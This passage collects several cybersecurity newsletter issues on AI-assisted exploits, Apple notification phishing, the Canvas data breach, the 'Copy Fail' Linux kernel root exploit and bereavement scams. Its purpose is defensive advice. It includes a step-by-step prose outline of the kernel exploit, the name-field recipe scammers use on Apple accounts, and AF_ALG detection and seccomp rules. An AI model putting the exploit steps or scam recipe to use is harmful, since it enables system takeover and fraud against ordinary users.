Google’s finding that APT27 used Gemini to build a proxy network management tool is significant because it shows AI being used for operational plumbing, not just flashy capabilities. They needed a piece of software to manage their network of relay servers (which disguise the origin of their attacks by routing traffic through multiple hops, including consumer-grade 4G/5G connections). Instead of writing it from scratch, they had an AI build it. It is the cyber equivalent of hiring a contractor through an app instead of building the addition yourself.

What Should Organizations Do?

Patch Faster

If your organization patches software on a monthly cycle, this report is a signal to reassess. When AI can analyze a published security flaw and produce an exploit in hours, a 30-day patch window means spending most of the month with a known, exploitable weakness. For systems that face the internet (web servers, VPNs, email gateways, login portals), the target should be patching critical flaws within 24 to 72 hours of disclosure, not 30 days.

Know What AI-Written Exploits Look Like

The AI fingerprints Google identified (excessive documentation, fabricated severity scores, textbook code structure, help menus) are a temporary detection opportunity. If your security team investigates an incident and finds exploit code on a compromised system, these patterns can help determine whether AI was involved. Think of it like identifying a counterfeiter: the first generation of AI-generated exploits has tells that experienced analysts can spot. Those tells will fade as attackers learn to clean up after their AI, but right now, they are useful.

Audit Your Two-Factor Authentication

The specific zero-day exploited a flaw in how a product implemented two-factor authentication. The software had a built-in exception that trusted certain login attempts without requiring the second step. These kinds of shortcuts are common in software development (they make testing easier, or they accommodate legacy systems), and they are exactly the kind of subtle flaw that AI is good at finding.

Ask your IT team or security vendor: are there any conditions under which our two-factor authentication can be bypassed? Is there a fallback path that skips the second factor? Are there API endpoints (programmatic access points) that do not enforce it?

Prepare for More Exploits, Faster

APT45’s “thousands of repetitive prompts” approach is a preview. When vulnerability research becomes a volume game played by AI, the number of working exploits for known flaws will increase and the time between a flaw being disclosed and an exploit being available will decrease. Your security team should be planning for a world where every major vulnerability has a working exploit within days of disclosure, not weeks or months.

The Bigger Picture

The security industry has spent three years debating whether AI would be used to build cyberweapons. Google’s report ends that debate. It is happening. The first AI-assisted zero-day was caught in active use. The next one may not be caught at all.

The trajectory from Anthropic’s controlled disclosure of 2,000+ AI-discovered flaws in April to a real-world AI-generated exploit in May is a one-month gap. The trajectory from APT45’s brute-force approach to something more refined is measured in AI model generations, not years. The models themselves are improving faster than defensive tooling is adapting.

There is a silver lining. The exploit Google caught was identifiable precisely because AI leaves fingerprints that human developers do not. The help menus, the documentation, the fabricated scores: these are artifacts of an AI trying to be helpful in a context where helpfulness is a tell. That detection window is real, but it is closing. As models improve and attackers learn to strip the artifacts, the fingerprints will fade.

For decision-makers, the takeaway is straightforward: the speed and scale at which attackers can find and exploit security flaws just changed. The organizations that adapt their patching speed, their detection capabilities, and their risk models to reflect this new reality will be in a stronger position than those that treat it as a future problem. The future arrived last Sunday.

Sources

• The Hacker News: Hackers Used AI to Develop First Known Zero-Day 2FA Bypass for Mass Exploitation (May 11, 2026)

• Google Threat Intelligence Group, AI Threat Tracker, Third Edition (May 11, 2026)

• The Hacker News: Google Uncovers PROMPTFLUX Malware That Uses Gemini AI to Rewrite Its Code Hourly (November 5, 2025)

• The Hacker News: Anthropic’s Claude Mythos Finds Thousands of Zero-Day Flaws(April 7, 2026)

• Intruvent Technologies, Golden CTI Database (Codex): Andariel (G0138), Threat Group-3390 (G0027), Lazarus Group (G0032), queried May 14, 2026

• MITRE ATT&CK: Andariel (G0138), Threat Group-3390 (G0027)

• Xint Code: Copy Fail, 732 Bytes to Root (April 29, 2026)

You know the drill. You get a suspicious email, you check the sender address, and if it looks fake, you delete it. That one simple habit has protected millions of people from phishing scams for years.

It doesn’t work anymore.

Scammers have figured out how to send phishing emails that genuinely come from Apple’s own servers. The sender address is real. The email authentication checks all pass. Your spam filter waves it right through. And the message inside tells you that someone just bought an $899 iPhone with your Apple account.

Your heart rate spikes. You call the number in the email. And now you’re talking to a scammer.

What Happened?

In April 2026, security researchers at BleepingComputer and Malwarebytes documented a phishing technique that abuses Apple’s own notification system to deliver scam emails from Apple’s legitimate email address: appleid@id.apple.com.

These emails are not spoofed. They are not faked. They are real Apple notifications, triggered by real Apple systems, delivered from real Apple servers. Every email authentication check (SPF, DKIM, DMARC, for the technically curious) passes with flying colors. Gmail, Outlook, Yahoo, and every other email provider treat them as legitimate because they are.

The scam has already cost people real money. Dorothy, a woman in her 60s, received one of these emails in early April. A scammer who already knew her personal details convinced her over the phone that her accounts had been compromised. He coached her through a series of steps and told her to drive to the bank to withdraw $15,000. A bank teller recognized the signs and intervened before Dorothy handed over the cash.

Not everyone is that lucky.

Why Should You Care?

• Apple has 2.5 billion active devices worldwide. If you own an iPhone, iPad, Mac, or Apple Watch, you are a potential target.

• Apple is now the #2 most impersonated brand in phishing attacks, accounting for 11% of all phishing attempts in Q1 2026 (Check Point Research).

• At least five distinct Apple scam campaigns were running concurrently in April 2026.

• Tech support scams (the category this falls into) cost Americans $924.5 million in 2023 alone (FTC). Vishing (voice phishing) attacks increased 442% in 2024.

• Apple has not acknowledged or patched the flaw that makes this possible.

How Does This Work?

Think of Apple’s notification system like an automated receptionist. When you update your account information, the receptionist sends you a polite confirmation email: “Hi [Your Name], your Apple Account was updated.”

The receptionist doesn’t check what your name actually says. It just reads whatever is in the name field and puts it in the email.

Scammers figured this out. Here’s what they do:

1. Create a new Apple ID using a throwaway email address.

2. Set the first name to something like: “User 899 USD iPhone Purchase Via”

3. Set the last name to something like: “Pay-Pal To Cancel Call 1-802-353-0761”

4. Change the shipping address on the account. This triggers Apple’s automated notification system.

5. Apple’s servers dutifully send out an email that reads: “Dear User 899 USD iPhone Purchase Via Pay-Pal To Cancel Call 1-802-353-0761, your Apple Account was used to sign in...”

The email lands in your inbox looking like a legitimate Apple alert. Because it is one. The scam message is smuggled inside Apple’s own greeting line.

If you call the number, you reach a scammer running a tech support con. They will tell you your account has been compromised. They will ask you to install remote access software, hand over login credentials, or (like Dorothy’s case) withdraw cash.

The reason this works so well is that it weaponizes the one thing you were taught to trust: the sender address. Every guide, every tip sheet, every cybersecurity awareness training tells you to “check the sender.” When the sender is actually Apple, that advice breaks down.

What Can You Do?

Step 1: Never Call a Phone Number From an Email

This is the single most important rule. Apple will never put a phone number in an email and ask you to call it. Neither will your bank, the IRS, or any legitimate company. If an email includes a phone number and urgency, treat it as a scam by default. If you want to call Apple, go to support.apple.com and find the number yourself.

Step 2: Check Your Actual Purchases

If you get an email claiming someone bought a $899 iPhone with your account, do not click anything in the email. Instead:

• On your iPhone or iPad: Open Settings, tap your name at the top, tap Subscriptions or Media & Purchases. Check your purchase history directly.

• On a computer: Go to reportaproblem.apple.com and sign in. This shows every real purchase on your account.

• Check your bank or credit card statement. If there’s no $899 charge, there was no $899 purchase. Close the email.

Step 3: Read the Email Carefully

Even though these emails come from a real Apple address, the scam text is stuffed into the greeting line. Legitimate Apple emails address you by your actual name. If the greeting reads like a sentence fragment about a purchase or a phone number to call, that is the tell. Real Apple notifications say “Dear [Your Name],” not “Dear User 899 USD iPhone Purchase Via Pay-Pal.”

Step 4: Turn On Two-Factor Authentication

If you have not already, enable two-factor authentication on your Apple account. This protects you even if a scammer somehow gets your password.

• iPhone/iPad: Settings → [Your Name] → Sign-In & Security → Two-Factor Authentication

• Mac: System Settings → [Your Name] → Sign-In & Security → Two-Factor Authentication

Step 5: Report It

Forward phishing emails to reportphishing@apple.com. Apple does investigate these reports, and enough reports from users may push them to fix the name-field vulnerability that makes this attack possible.

You can also report the scam to the FTC at reportfraud.ftc.gov.

The Bottom Line

“Check the sender address” used to be reliable advice. For this scam, the sender address is legitimate. The email is legitimate. The only thing that is fake is the message smuggled into the greeting line.

Three things to remember:

1. Never call a phone number from a suspicious email. Look up the number yourself.

2. Verify purchases directly. Check your account or your bank statement, not the email.

3. Read the greeting line. If your name looks like a sentence about a purchase, delete the email.

Apple has 2.5 billion devices in the world and has not yet fixed this flaw. Until they do, you are your own last line of defense. Share this with anyone who uses Apple products.

Sources

• BleepingComputer: Apple account change alerts abused to send phishing emails (April 2026)

• Malwarebytes: Real Apple notifications used to drive tech support scams (April 2026)

• Tom’s Guide: Scammers weaponizing Apple’s own notifications (April 2026)

• TechRepublic: Apple phishing scam, fake $899 iPhone purchase alert (April 2026)

• Fox News: Apple Pay scam nearly cost woman $15,000 (April 8, 2026)

• Check Point Research: Most impersonated brands Q1 2026

• Apple Support: Recognize and avoid phishing

• FTC: Impersonation scam losses

Prevent This is a weekly cybersecurity newsletter from Intruvent Technologies. Each week, we break down one cyber threat in plain language and give you the tools to protect yourself and the people you care about. For our bi-weekly technical deep dive, check out Intruvent Edge.

If your child has done homework online in the past few years, there is a good chance they used Canvas. It is one of the most widely used learning management systems in the country and the dominant platform in higher education, where it holds nearly 40% market share. Teachers post assignments on it. Students submit work through it. Parents log in to check grades. And last week, hackers broke into Canvas, stealing student data and school information.

The hackers claim the breach affects 275 million users across roughly 9,000 schools. Instructure, the company that owns Canvas, has confirmed the breach but has not confirmed those numbers. What we know for certain is that the stolen data includes names, email addresses, student IDs, and private messages. If you are reading this newsletter and have a school aged child, there is a real probability that your family’s data is in that pile.

Here is the good news: your passwords, Social Security numbers, and credit card information were almost certainly not taken. Here is the bad news: what the hackers did get might be more useful to them than you think.

What Happened?

On April 30, 2026, Instructure (the company that owns Canvas) detected service disruptions on their platform. By May 1, their Chief Information Security Officer confirmed that a criminal threat actor had breached their network. On May 3, a hacking group called ShinyHunters claimed responsibility, posting a sample of the stolen data on their leak site and giving Instructure until May 6 to respond before publishing everything.

ShinyHunters claims to have stolen 3.65 terabytes of data. TechCrunch independently verified a sample of the stolen data, confirming records from at least two U.S. schools (one in Massachusetts, one in Tennessee) containing names, email addresses, phone numbers, and student messages. ShinyHunters describes the message archive as “several billion” private messages exchanged between students, teachers, and parents within the Canvas platform.

This is not the first time Instructure has been hit. In September 2025, the same group, ShinyHunters, compromised Instructure’s Salesforce instance through social engineering. That breach exposed customer support data. This time, the attackers accessed the Canvas platform itself. Two breaches by the same group in eight months.

Instructure has confirmed the breach and published guidance at their security incident page. A law firm has already opened a class action investigation.

The Good News (What Was Not Taken)

Before the panic sets in, here is what Instructure says the hackers did not get:

• Passwords. Canvas did not store your child’s password in a way the attackers could access. Many school districts use what is called Single Sign-On (SSO), meaning students log into Canvas through their school’s Google or Microsoft account. Canvas never sees or stores that password. If your child logs into Canvas through a Google or Clever login page, their password was never in Canvas’s system to begin with. However, see the important caveat about student IDs below.

• Social Security numbers. Schools store SSNs in their Student Information Systems (PowerSchool, Infinite Campus, etc.), not in Canvas. Canvas is a learning tool, not an enrollment database.

• Financial information. Canvas does not process payments. If your school charges fees, that goes through a separate payment system.

• Dates of birth. Also stored in the student information system, not Canvas.

So the most sensitive categories of personal data appear to be out of scope. That matters, and it is worth taking a breath over.

One Important Caveat: Student IDs Are More Than ID Numbers

Here is where the “good news” gets complicated. In many school districts, especially K-12, the student ID number is not just an identifier. It is the username. Your child might log into Canvas, PowerSchool, the lunch payment system, the library catalog, and the school’s Chromebook with the same student ID as their username.

And in a lot of districts, particularly for younger students, the password is something the district assigned using a predictable pattern: the child’s birthday, their initials plus a number, or (in the worst cases) the student ID itself with a simple modification. Teachers have to manage 25 to 30 kids who forget their passwords constantly, so many districts default to something simple and consistent.

That means the exposed student ID might effectively be half the login credentials for every system your child’s school district uses. Not because Canvas stored passwords, but because the student ID is the key that unlocks the front door, and the password behind that door might be guessable if an attacker knows the district’s pattern.

This does not mean every student is at risk. Districts that use SSO through Google or Microsoft, where the child has a unique password managed through the district’s identity system, are in a much better position. But districts that still rely on student-ID-as-username with simple assigned passwords should be treating this breach as a credential exposure event, not just a data exposure event.

The Bad News (What Was Taken, and Why It Matters)

What the hackers did get is a different kind of valuable. Instructure confirmed the breach exposed:

• Names (student, teacher, and parent/observer names)

• Email addresses (institutional and, for parents, sometimes personal)

• Student ID numbers

• Private messages (conversations between students, teachers, and parents within Canvas)

On the surface, names and school email addresses might not sound alarming. But this data becomes dangerous when it is combined and used creatively. Here is what a motivated attacker can do with it:

1. Hyper-Targeted Phishing That Looks Like Your Child’s School

Imagine getting an email from what appears to be your child’s teacher: “Hi [your name], I noticed [your child’s name] hasn’t submitted their assignment for [actual class name]. Please log in to review their grade.” That email contains your real name, your child’s real name, and a real class. The link goes to a fake login page that steals your Google or Microsoft credentials.

This is the difference between a generic phishing email and one that references your actual life. Because the hackers have access to real messages, real class names, and real teacher names, they can build phishing emails that are nearly impossible to distinguish from legitimate school communications.

2. Social Engineering Parents

Armed with parent email addresses, student names, school names, and teacher names, a scammer can impersonate school administrators. “We are updating our payment system for school lunch accounts. Please verify your payment method.” The email comes with enough real details about your child’s school that it feels trustworthy.

3. Child Identity Theft (The Longer-Term Risk)

A child’s name and student ID number, combined with their school and approximate age, gives an identity thief a building block. To be clear: this data alone is not enough to open a credit card or take out a loan. That requires a Social Security number, which was not exposed in this breach. But it is one more piece in a puzzle that gets assembled over time as breaches accumulate, and children are attractive targets because nobody checks their credit for years.

Javelin Strategy & Research found that approximately 1 in 50 children (about 1.25 million kids) experience identity fraud each year in the United States, costing families roughly $1 billion annually. Most of that fraud involves someone the child knows, not a hacker with breach data. But for older students, especially college students whose names, school emails, and course information are now exposed alongside years of private messages, the risk profile is more direct. A college student’s identity is closer to fully formed and more immediately useful to a thief.

4. Private Message Exposure

Canvas stores every message sent between users on the platform. For college students, this could include conversations about academic struggles, accommodation requests, personal disclosures to advisors, or sensitive communications with professors. For younger students, the content may be less sensitive, but the principle remains: private conversations between children and their teachers were never meant to be public.

What Can You Do?

Step 1: Find Out If Your School Uses Canvas

If you are not sure, ask your school’s front office or check your child’s school website. Look for references to “Canvas,” “Instructure,” or a login link that goes to a .instructure.com domain. Canvas is used by roughly 4,000 K-12 districts and 5,000 colleges in the United States. Chances are reasonable that at least one school your family has interacted with uses it.

Step 2: Ask Your District How Your Child Logs In

This is the most important step and it takes one phone call or email. Contact your school’s front office or IT department and ask two questions:

1. “Does my child’s student ID serve as their username for any school systems?”

2. “Are student passwords assigned by the district using a standard pattern, or does each student set their own?”

If the answer to both is yes, the student IDs exposed in this breach are effectively half a set of login credentials. Ask the district to reset your child’s password across all systems and, if possible, move to a unique password that does not follow a predictable pattern. If your district uses Google or Microsoft SSO with individual passwords, you are in better shape, but change that password anyway.

Step 3: Change the Passwords Around Canvas

Even if Canvas passwords were not directly compromised, secure the accounts connected to your child’s school life:

• Your child’s school Google or Microsoft account. If their school uses SSO, this is the password that unlocks everything. Change it.

• Your parent portal account for your school district (PowerSchool, Infinite Campus, etc.). Change it.

• Your personal email if it is the same one linked to your parent/observer Canvas account.

If any of these passwords are reused across other sites, change those too.

Step 4: If the Student is 18+, Consider Freezing Credit (Good Practice, Not Urgent)

This breach did not expose Social Security numbers, so it does not give attackers what they need to open accounts in your child’s name right now. But a credit freeze is one of the best long-term protections against child identity theft from any source, and it is free. If you have not done this already, this is a reasonable time to take care of it.

For college students (18+): This is more directly relevant. Their identities are more fully formed and more immediately useful to a thief. They should freeze their own credit at all three bureaus:

• Equifax: equifax.com/personal/credit-report-services/credit-freeze

• Experian: experian.com/freeze/center.html

• TransUnion: transunion.com/credit-freeze

Step 5: Watch for Phishing Emails From “School”

For the next several months, treat any email that appears to come from your child’s school with extra caution, especially if it asks you to click a link, log in, update payment information, or download an attachment. If something looks off, call the school directly using the phone number from their website, not from the email.

This is especially true for end-of-year emails about report cards, summer programs, or registration for next year. Scammers will time their phishing to match the school calendar.

Step 6: Talk to Your Kids (Especially Teens and College Students)

Older students need to know that their Canvas messages may have been exposed. If your college student sent sensitive messages through Canvas (academic concerns, personal issues, accommodation requests), they should be aware that this information could surface. They should also watch for phishing emails impersonating their university and avoid clicking links in any email that references their courses by name.

A Note on FERPA

Student education records are protected under FERPA (the Family Educational Rights and Privacy Act). When those records are breached, your child’s school district holds the notification obligation, not Instructure. If your school uses Canvas, your district should be communicating with you about this breach and what they are doing about it. If they have not, ask them. You have a right to know.

The Bottom Line

The Canvas breach is real, large, and affects a population that deserves extra protection: children. The good news is that the most dangerous data categories (passwords, SSNs, financial info) were not part of it. The bad news is that the data that was taken (names, emails, student IDs, and private messages) gives attackers the raw material for highly convincing phishing campaigns targeting families.

Three things to do this week:

1. Be skeptical of school emails that ask you to click, log in, or pay, especially if they reference your child by name and class. That specificity is exactly what this breach enables. Call the school directly to verify.

2. Ask your district if your child’s student ID is used as a username, and whether passwords follow a standard pattern. If yes, request a password reset.

3. Change the passwords on your child’s school Google/Microsoft account and your parent portal.

This breach hit the system our kids use every single day. Share this with other parents at your school. They need to know.

Sources

• BleepingComputer: Instructure confirms data breach, ShinyHunters claims attack(May 2026)

• TechCrunch: Hackers steal students’ data during breach at Instructure (May 2026)

• SecurityWeek: Edtech firm Instructure discloses data breach (May 2026)

• FOX 9: Canvas data breach, hackers claim info of 275 million users (May 2026)

• Javelin Strategy & Research: Child Identity Fraud Study (2021)

• Equifax: Credit Freeze

• U.S. Department of Education: FERPA FAQ

Prevent This is a weekly cybersecurity newsletter from Intruvent Technologies. Each week, we break down one cyber threat in plain language and give you the tools to protect yourself and the people you care about. For any feedback or if your company is experiencing a breach and you need help, contact us at contact@intruvent.com

The Vulnerability

Yesterday, security researchers at Theori published a complete privilege escalation exploit for CVE-2026-31431, a logic bug in the Linux kernel’s cryptographic subsystem that has existed since August 2017. The exploit is a 10-line Python script. It requires no compiled payloads, no version-specific offsets, and no race conditions. It works on every major Linux distribution released in the past nine years.

Every. Major. Linux. Distribution.

Linux runs approximately 96% of the world’s top one million web servers, the majority of cloud infrastructure, most containers and Kubernetes clusters, and billions of IoT and embedded devices. Conservative estimates place the affected device count in the billions. With a B.

This one is bad, and needs your attention.

The vulnerability, nicknamed “Copy Fail,” allows any unprivileged local user to gain a root shell in seconds. On a multi-tenant system, a shared Kubernetes cluster, or a CI/CD runner, that means any user with shell access can take complete control of the host.

A fully weaponized proof-of-concept is already public on GitHub. Exploitation at scale is now a matter of when, not if. If your home or work uses any affected systems, please read on. Please forward this to anybody who needs it.

How It Works

Caption suggestion: “CVE-2026-31431 exploitation flow: from AF_ALG socket to root shell in six steps.”

The bug lives in algif_aead.c, a component of the Linux kernel’s AF_ALG cryptographic socket interface. Specifically, it affects the authencesn algorithm, which handles authenticated encryption with sequence numbers for IPsec.

Three individually reasonable kernel changes created the vulnerability:

1. 2011: The authencesn cryptographic wrapper was added for IPsec support

2. 2015: AF_ALG gained AEAD (Authenticated Encryption with Associated Data) socket support, allowing userspace programs to invoke kernel crypto operations

3. 2017 (kernel 4.14): An in-place optimization in commit 72548b093ee3 placed page cache pages directly into a writable scatterlist

That third change is the fatal one. When the kernel performs an AEAD decrypt operation, authencesn writes a 4-byte sequence number (seqno_lo) past the output buffer boundary via scatterwalk_map_and_copy(). Because the optimization placed page cache pages in the writable scatterlist, those 4 bytes land directly in the page cache.

The page cache is the kernel’s in-memory copy of file contents. Every executable you run, every library you load, comes from the page cache. If you can write arbitrary bytes into it, you can corrupt any readable file’s in-memory representation without touching the on-disk copy.

The exploit sequence:

1. Open an AF_ALG socket bound to authencesn(hmac(sha256),cbc(aes))

2. Use splice() to feed page cache pages of a setuid binary (such as /usr/bin/su) into the crypto pipeline

3. Construct sendmsg() with shellcode bytes positioned in the AAD at offsets 4 through 7

4. Issue recvmsg(), which triggers AEAD decrypt. The authencesn algorithm writes past the output boundary into the mapped page cache page

5. The HMAC verification fails and returns EBADMSG, but the write has already occurred and persists

6. Execute the corrupted setuid binary. The kernel loads it from page cache. Shellcode runs as root.

The entire sequence fits in 732 bytes of Python using only the os, socket, and zlibstandard library modules.

Why This Is Worse Than Dirty Pipe

Security professionals will immediately compare CVE-2026-31431 to Dirty Pipe (CVE-2022-0847) and Dirty COW (CVE-2016-5195), the two most notorious Linux kernel privilege escalation vulnerabilities of the past decade. Copy Fail is worse than both.

Dirty COW required winning a race condition. Exploitation was probabilistic and often crashed the target system. Copy Fail has no race condition. The exploit is deterministic and 100% reliable.

Dirty Pipe required knowledge of specific kernel version offsets and was limited to kernels 5.8 through 5.16 (roughly an 18-month window). Copy Fail requires no offsets and works across a nine-year window of kernel versions, from 4.14 through current mainline.

Both left forensic evidence that file integrity monitoring tools could detect. Copy Fail corrupts only the in-memory page cache. The page is never marked dirty for writeback, so the on-disk file remains pristine. Inotify sees nothing. AIDE sees nothing. OSSEC sees nothing. Tripwire sees nothing.

One additional dimension makes this especially dangerous in modern infrastructure: the page cache is shared across the entire host, including all containers running on that host. A process inside a Kubernetes pod can corrupt the page cache entry of a setuid binary on the host filesystem. Copy Fail functions as a container escape primitive that bypasses namespace isolation entirely.

What’s Affected

Every Linux distribution shipping a kernel from version 4.14 (August 2017) onward is vulnerable unless patched. Confirmed affected systems include:

• Ubuntu 24.04 LTS (kernel 6.17.0-1007-aws)

• Amazon Linux 2023 (kernel 6.18.8-9.213.amzn2023)

• RHEL 10.1 (kernel 6.12.0-124.45.1.el10_1)

• SUSE 16 (kernel 6.12.0-160000.9-default)

• Rocky Linux 9.7 (confirmed independently by Solar Designer)

• Debian, Arch Linux, Fedora, Oracle Linux

• Embedded Linux distributions used in IoT, networking equipment, and industrial systems

Not affected: RHEL 6 and 7 (kernel versions predate the vulnerable commit), and Ubuntu 26.04 (Resolute) which ships a patched kernel.

Linux runs approximately 96% of the world’s top one million web servers, the majority of cloud infrastructure, most containers and Kubernetes clusters, and billions of IoT and embedded devices. Conservative estimates place the affected device count in the billions.

Detection Is Hard

Traditional security tooling is largely blind to this attack. The corruption happens entirely in kernel memory, with no disk writes, no file modifications, and no network traffic.

Will NOT detect exploitation:

• File integrity monitoring (AIDE, OSSEC, Tripwire, Samhain)

• Inotify-based watchers

• Hash-based allowlisting tools

• Standard auditd file access rules

CAN detect exploitation:

• eBPF-based monitoring that tracks AF_ALG socket creation and splice() calls targeting setuid binaries

• Falco/Sysdig rules detecting SOCK_SEQPACKET AF_ALG socket creation from unexpected processes

• Auditd rules configured to audit socket() calls with AF_ALG family (family 38)

• Behavioral detection looking for EBADMSG return codes from AEAD operations followed by execution of setuid binaries

A community detection toolkit is already available on GitHub, including Falco rules, auditd configurations, and an eBPF monitor.

The key behavioral sequence to detect:

1. AF_ALG socket creation by a non-root, non-crypto process

2. splice() calls feeding a setuid binary into that socket

3. recvmsg() returning EBADMSG

4. execve() of the same setuid binary shortly after

Any security operations team monitoring Linux hosts should deploy at minimum the auditd rule for AF_ALG socket creation today.

Patch and Mitigation

The Fix

The upstream kernel team committed the fix on April 1, 2026 (commit a664bf3d603d). The patch reverts algif_aead.c to out-of-place AEAD operation, permanently separating the TX scatterlist from the RX scatterlist so that page cache pages can never be placed in a writable context.

Patched kernel versions: 7.0+, 6.19.12+, 6.18.22+.

As of today, Debian, Ubuntu, and SUSE have issued patched packages. Red Hat initially deferred the patch but has since reversed course.

Interim Mitigation (If You Cannot Patch Immediately)

The simplest and most effective mitigation is to disable the algif_aead kernel module:

# Prevent the module from loading
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf

# Unload if currently loaded
sudo rmmod algif_aead 2>/dev/null

This does NOT affect dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, or SSH. Most systems never load this module at all. The only software that uses AF_ALG AEAD sockets is libkcapi and a small number of specialized cryptographic testing tools.

For containerized environments: Block AF_ALG socket creation via seccomp profiles on all pods, CI/CD runners, and container workloads. The exploit requires opening an AF_ALG socket as its first step; blocking that syscall prevents exploitation entirely.

{
  "names": ["socket"],
  "action": "SCMP_ACT_ERRNO",
  "args": [
    {
      "index": 0,
      "value": 38,
      "op": "SCMP_CMP_EQ"
    }
  ]
}

This blocks socket(AF_ALG, ...) calls. AF_ALG is protocol family 38.

Timeline

DateEventAugust 2017Vulnerable commit introduced in kernel 4.14March 23, 2026Theori reports vulnerability to Linux kernel security teamMarch 24, 2026Kernel team acknowledges the reportMarch 25, 2026Patches proposed and reviewedApril 1, 2026Fix committed to mainlineApril 22, 2026CVE-2026-31431 assignedApril 23, 2026NVD publishes CVE detailsApril 29, 2026Full public disclosure with proof-of-conceptApril 30, 2026CERT-EU publishes Security Advisory 2026-005

The 37-day window between the fix commit and public disclosure gave major distributions time to prepare patches. Whether your organization has applied them is another question.

Who Found It

Taeyang Lee of Theori, a South Korean security research firm, discovered the vulnerability. The Xint Code Research Team subsequently used AI-assisted analysis to scale the initial finding into a complete exploitation chain in approximately one hour, demonstrating how quickly modern tooling can weaponize a vulnerability once the root cause is understood.

Alexander Peslyak (Solar Designer), founder of the Openwall Project and one of the most respected voices in Linux security, independently confirmed exploitation on Rocky Linux 9.7.

What You Should Do Today

1. Check if you’re affected. Any system running a kernel from 4.14 onward that has not applied the latest security updates is vulnerable. Run uname -r and check against your distribution’s security advisory.

2. Apply patches if available. Debian, Ubuntu, and SUSE have issued fixes. If patched packages are available, apply them immediately. A public PoC exists and exploitation is trivial.

3. Deploy the module mitigation on unpatched systems. If you cannot patch within 24 hours, disable algif_aead with the modprobe rule above. This closes the attack vector at negligible operational cost.

4. Harden container workloads. Add AF_ALG socket blocking to your seccomp profiles. If you operate Kubernetes clusters, update your PodSecurityPolicies or OPA/Gatekeeper constraints to block protocol family 38.

5. Deploy detection. At minimum, add an auditd rule for AF_ALG socket creation. For higher-fidelity detection, deploy the eBPF monitor from the community toolkit.

6. Audit multi-tenant systems first. Shared hosting environments, CI/CD runners, Kubernetes clusters, and any system where untrusted users have shell access are the highest-priority targets. The vulnerability requires only local access.

7. Do not rely on file integrity monitoring. If your security strategy for Linux hosts depends primarily on hash-based FIM tools, this vulnerability bypasses that layer entirely. Update your detection architecture.

The Bigger Picture

Copy Fail is a reminder that kernel attack surface accumulates invisibly over time. The three code changes that created this vulnerability were each reasonable in isolation. The dangerous interaction between them went undetected for nine years, hidden behind a kernel subsystem that most security researchers never examine because “it’s just crypto plumbing.”

The exploit’s simplicity is the real story. A 10-line Python script with no dependencies achieving deterministic root on nine years of kernels is the kind of vulnerability that shifts the risk calculus for any organization running multi-tenant Linux infrastructure. Patch today.

Sources

• Xint Code: “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution” (original technical disclosure)

• CERT-EU Security Advisory 2026-005

• NVD: CVE-2026-31431

• Sysdig: CVE-2026-31431 Analysis

• Help Net Security: Nine-year-old Linux kernel flaw

• The Register: Linux cryptographic code flaw offers fast route to root

• SOCRadar: CVE-2026-31431 Copy Fail Analysis

• Bugcrowd: What We Know About Copy Fail

• Community Detection Toolkit (GitHub)

• Theori PoC Repository (GitHub)

Free Linux Security Assessment

Copy Fail is the latest in a growing list of Linux kernel privilege escalations (Dirty COW, Dirty Pipe, StackRot, and now Copy Fail) that bypass traditional detection. If your organization relies on Linux for production workloads, we can help you assess your exposure.

Shoot us an email at: contact@intruvent.com to book a 30 minute assessment discussion.

We also offer:

• Linux kernel vulnerability exposure assessments

• Container security and Kubernetes hardening reviews

• Detection engineering for kernel-level threats

• Managed threat hunting across your Linux infrastructure

A reader of this newsletter reached out to me this week with two stories that really hit home with me.

The first: several of her friends, all women in their 70s and 80s, have been targeted by scammers after their husbands passed away. Accounts taken over. Identities stolen. Fraud that started within days of the obituary going live. She wanted to know if this was a known pattern or just terrible luck.

It is a known pattern. A well-documented, growing, and organized one. We will get into the details below.

The second: she received a suspicious email claiming a close friend was in the hospital and needed help. When she responded, the person on the other end seemed to know a lot about her friend, enough that it felt real. They described the injury, referenced details that checked out. Then they asked her to send DoorDash gift cards to help cover expenses while her friend recovered.

That is where her training kicked in. As a reader of Prevent This, she recognized the gift card request for what it was: the unmistakable fingerprint of a scam. No hospital, no doctor, no friend in genuine need has ever asked for DoorDash gift cards. She did not send them.

But the experience shook her. The scammer knew too much. The story was too specific. And she asked the question that inspired this edition: what can I do right now, today, to make sure I do not become an actual victim?

This newsletter is the answer. Part 1 covers the bereavement scam pattern and what to do if you or someone you love is going through a loss. Part 2 is a quick-start security checkup, the essentials that anyone can knock out today to raise their baseline protection.

Her friends’ experiences are far from unique. Here is what the pattern looks like when it shows up in the news.

What Happened?

A suburban Chicago widow published her husband’s obituary in January. By April, someone had quietly forwarded her mail to an unknown Chicago address without her knowledge. Fraudulent credit card charges started appearing: a hotel in Atlanta, tickets to the Atlanta Aquarium, $200 for cleaning services she never ordered. Scammers also attempted to open new credit cards in her name.

She caught it. Many do not.

The U.S. Postal Inspection Service reversed the mail forwarding and opened an investigation, but the damage extended beyond dollars. As the victim told NBC Chicago: “The emotional impact of this, even though there wasn’t any financial impact, is not going to go away for a while.”

She is far from alone. A 77-year-old widow named Marjorie Bloom received a call from someone claiming to be a “fraud investigator” at her bank. Over the following weeks, at the caller’s instruction, she liquidated everything: savings, stocks, an annuity. The total: $661,000. The scammer told her not to tell anyone, including her children, claiming secrecy was necessary to protect the investigation. By the time she realized what had happened, her entire nest egg was gone.

In Georgia, identity thieves used an obituary to redirect a deceased man’s mail just two days after his death, then opened new lines of credit in his name before his family had finished planning the funeral.

These are not isolated incidents. They are a pattern, and the pattern is accelerating.

Why Should You Care?

The numbers tell a grim story:

• $7.7 billion lost by Americans 60 and older to internet crime in 2025, up 60% from 2024 (FBI IC3)

• 2.5 million deceased Americans have their identities stolen annually (ID Analytics study, corroborated by TIME and NBC News)

• 167% increase in fraudulent mail forwarding between 2020 and 2021 (U.S. Postal Inspection Service)

• $584 million in romance and confidence scam losses targeting older adults in 2025 alone (FBI IC3)

• The FTC estimates actual elder fraud losses may reach $81.5 billion per year when accounting for unreported cases

The FBI, FTC, AARP, multiple state attorneys general, and the VA have all issued specific warnings about scams targeting the recently bereaved. The FBI’s El Paso field office published a dedicated alert on “bereavement scams.” Michigan’s Attorney General warned the public about “obituary pirates” who scrape death notices. The LA County District Attorney’s office issued a fraud alert specifically about obituary-based targeting.

The pattern is organized, documented, and growing. And the people hit hardest are those least equipped to fight back: elderly widows navigating finances alone, often for the first time, during the worst period of their lives.

How Does This Work?

Think of it like reconnaissance before a burglary, except the reconnaissance is public and free.

